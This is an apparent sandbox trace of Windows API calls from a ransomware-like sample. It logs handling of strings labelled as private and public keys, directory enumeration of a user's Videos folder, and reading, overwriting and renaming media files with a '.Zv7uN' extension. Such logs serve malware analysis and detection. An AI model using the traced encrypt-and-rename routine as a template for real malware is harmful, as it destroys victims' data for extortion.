OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1efff6c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0087.317] GetCurrentThreadId () returned 0xa30 [0087.317] GetCurrentThreadId () returned 0xa30 [0087.317] GetCurrentThreadId () returned 0xa30 [0087.318] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0087.318] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f10fcc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0087.318] GetCurrentThreadId () returned 0xa30 [0087.318] GetCurrentThreadId () returned 0xa30 [0087.318] GetCurrentThreadId () returned 0xa30 [0087.318] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\UirNPAL jHPFU2G.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\oxu8xlndfhlvryrz\\uirnpal jhpfu2g.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0087.319] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0087.319] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0087.319] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x53b7 [0087.319] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0087.319] ReadFile (in: hFile=0x104, lpBuffer=0x1f18dd0, nNumberOfBytesToRead=0x53b7, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f18dd0*, lpNumberOfBytesRead=0x18f3d4*=0x53b7, lpOverlapped=0x0) returned 1 [0087.321] CloseHandle (hObject=0x104) returned 1 [0087.322] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\UirNPAL jHPFU2G.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\oxu8xlndfhlvryrz\\uirnpal jhpfu2g.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0087.324] WriteFile (in: hFile=0x104, lpBuffer=0x1f1ee00*, nNumberOfBytesToWrite=0x53b7, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f1ee00*, lpNumberOfBytesWritten=0x18f3e0*=0x53b7, lpOverlapped=0x0) returned 1 [0087.326] CloseHandle (hObject=0x104) returned 1 [0087.328] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\UirNPAL jHPFU2G.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\oxu8xlndfhlvryrz\\uirnpal jhpfu2g.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\UirNPAL jHPFU2G.swf.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\oxu8xlndfhlvryrz\\uirnpal jhpfu2g.swf.zv7un")) returned 1 [0087.329] GetCurrentThreadId () returned 0xa30 [0087.329] GetCurrentThreadId () returned 0xa30 [0087.329] GetCurrentThreadId () returned 0xa30 [0087.329] GetCurrentThreadId () returned 0xa30 [0087.329] GetCurrentThreadId () returned 0xa30 [0087.329] GetCurrentThreadId () returned 0xa30 [0087.329] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d352f0, ftCreationTime.dwHighDateTime=0x1d5dfee, ftLastAccessTime.dwLowDateTime=0x870522e0, ftLastAccessTime.dwHighDateTime=0x1d5dd84, ftLastWriteTime.dwLowDateTime=0x870522e0, ftLastWriteTime.dwHighDateTime=0x1d5dd84, nFileSizeHigh=0x0, nFileSizeLow=0x53b7, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="UirNPAL jHPFU2G.swf", cAlternateFileName="UIRNPA~1.SWF")) returned 0 [0087.329] GetLastError () returned 0x12 [0087.329] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0087.329] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52fe8d30, ftCreationTime.dwHighDateTime=0x1d5da3a, ftLastAccessTime.dwLowDateTime=0x51f75580, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x51f75580, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0087.329] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0087.329] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0087.330] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52fe8d30, ftCreationTime.dwHighDateTime=0x1d5da3a, ftLastAccessTime.dwLowDateTime=0x51f75580, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x51f75580, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0087.330] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0087.330] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0087.330] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5966290, ftCreationTime.dwHighDateTime=0x1d5e0dd, ftLastAccessTime.dwLowDateTime=0x769c150, ftLastAccessTime.dwHighDateTime=0x1d5e250, ftLastWriteTime.dwLowDateTime=0x51dac500, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x3230, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="2opleEzWe0B wcg.mkv.Zv7uN", cAlternateFileName="2OPLEE~1.ZV7")) returned 1 [0087.330] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0087.330] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0087.330] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4df11480, ftCreationTime.dwHighDateTime=0x1d5e24a, ftLastAccessTime.dwLowDateTime=0xbd0ab5b0, ftLastAccessTime.dwHighDateTime=0x1d5d9a3, ftLastWriteTime.dwLowDateTime=0x51dd2660, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xb818, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="c9uD.avi.Zv7uN", cAlternateFileName="C9UDAV~1.ZV7")) returned 1 [0087.330] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0087.330] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0087.330] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a12020, ftCreationTime.dwHighDateTime=0x1d5d8b7, ftLastAccessTime.dwLowDateTime=0x212d1a30, ftLastAccessTime.dwHighDateTime=0x1d5e168, ftLastWriteTime.dwLowDateTime=0x51df87c0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x8c0a, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="cSsK3Xa3I8N9gp_g.mkv.Zv7uN", cAlternateFileName="CSSK3X~1.ZV7")) returned 1 [0087.330] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0087.330] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0087.330] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91e4ba20, ftCreationTime.dwHighDateTime=0x1d5d8a4, ftLastAccessTime.dwLowDateTime=0x512c8480, ftLastAccessTime.dwHighDateTime=0x1d5e47b, ftLastWriteTime.dwLowDateTime=0x51e44a80, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x18973, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="I3bWl8wArAF2fKrlEE.mkv.Zv7uN", cAlternateFileName="I3BWL8~1.ZV7")) returned 1 [0087.330] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0087.330] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0087.330] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901be760, ftCreationTime.dwHighDateTime=0x1d5e4e1, ftLastAccessTime.dwLowDateTime=0xede1890, ftLastAccessTime.dwHighDateTime=0x1d5e60c, ftLastWriteTime.dwLowDateTime=0x51e6abe0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x164ec, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="p-DCXOZdeMaVqNaXbUjy.avi.Zv7uN", cAlternateFileName="P-DCXO~1.ZV7")) returned 1 [0087.330] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0087.330] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0087.330] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x698ad1c0, ftCreationTime.dwHighDateTime=0x1d5dbd5, ftLastAccessTime.dwLowDateTime=0x2ed46420, ftLastAccessTime.dwHighDateTime=0x1d5ded1, ftLastWriteTime.dwLowDateTime=0x51f4f420, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x184bd, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="tsgG.flv.Zv7uN", cAlternateFileName="TSGGFL~1.ZV7")) returned 1 [0087.331] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0087.331] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0087.331] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d352f0, ftCreationTime.dwHighDateTime=0x1d5dfee, ftLastAccessTime.dwLowDateTime=0x870522e0, ftLastAccessTime.dwHighDateTime=0x1d5dd84, ftLastWriteTime.dwLowDateTime=0x51f75580, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x53b7, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="UirNPAL jHPFU2G.swf.Zv7uN", cAlternateFileName="UIRNPA~1.ZV7")) returned 1 [0087.331] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0087.331] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0087.331] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d352f0, ftCreationTime.dwHighDateTime=0x1d5dfee, ftLastAccessTime.dwLowDateTime=0x870522e0, ftLastAccessTime.dwHighDateTime=0x1d5dd84, ftLastWriteTime.dwLowDateTime=0x51f75580, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x53b7, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="UirNPAL jHPFU2G.swf.Zv7uN", cAlternateFileName="UIRNPA~1.ZV7")) returned 0 [0087.331] GetLastError () returned 0x12 [0087.331] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0087.331] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x409db540, ftCreationTime.dwHighDateTime=0x1d5d9d0, ftLastAccessTime.dwLowDateTime=0x67952270, ftLastAccessTime.dwHighDateTime=0x1d5d947, ftLastWriteTime.dwLowDateTime=0x51ca1b60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x4279, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="PPbvZP.mkv.Zv7uN", cAlternateFileName="PPBVZP~1.ZV7")) returned 1 [0087.331] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0087.331] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0087.331] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x409db540, ftCreationTime.dwHighDateTime=0x1d5d9d0, ftLastAccessTime.dwLowDateTime=0x67952270, ftLastAccessTime.dwHighDateTime=0x1d5d947, ftLastWriteTime.dwLowDateTime=0x51ca1b60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x4279, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="PPbvZP.mkv.Zv7uN", cAlternateFileName="PPBVZP~1.ZV7")) returned 0 [0087.331] GetLastError () returned 0x12 [0087.331] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0087.331] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6fd7a1f0, ftCreationTime.dwHighDateTime=0x1d5d7db, ftLastAccessTime.dwLowDateTime=0xbd5e5e80, ftLastAccessTime.dwHighDateTime=0x1d5e5d9, ftLastWriteTime.dwLowDateTime=0xbd5e5e80, ftLastWriteTime.dwHighDateTime=0x1d5e5d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfcdde474, dwReserved1=0xba1113e9, cFileName="EvnXETH8or", cAlternateFileName="EVNXET~1")) returned 1 [0087.332] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0087.332] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0087.332] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EvnXETH8or\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6fd7a1f0, ftCreationTime.dwHighDateTime=0x1d5d7db, ftLastAccessTime.dwLowDateTime=0xbd5e5e80, ftLastAccessTime.dwHighDateTime=0x1d5e5d9, 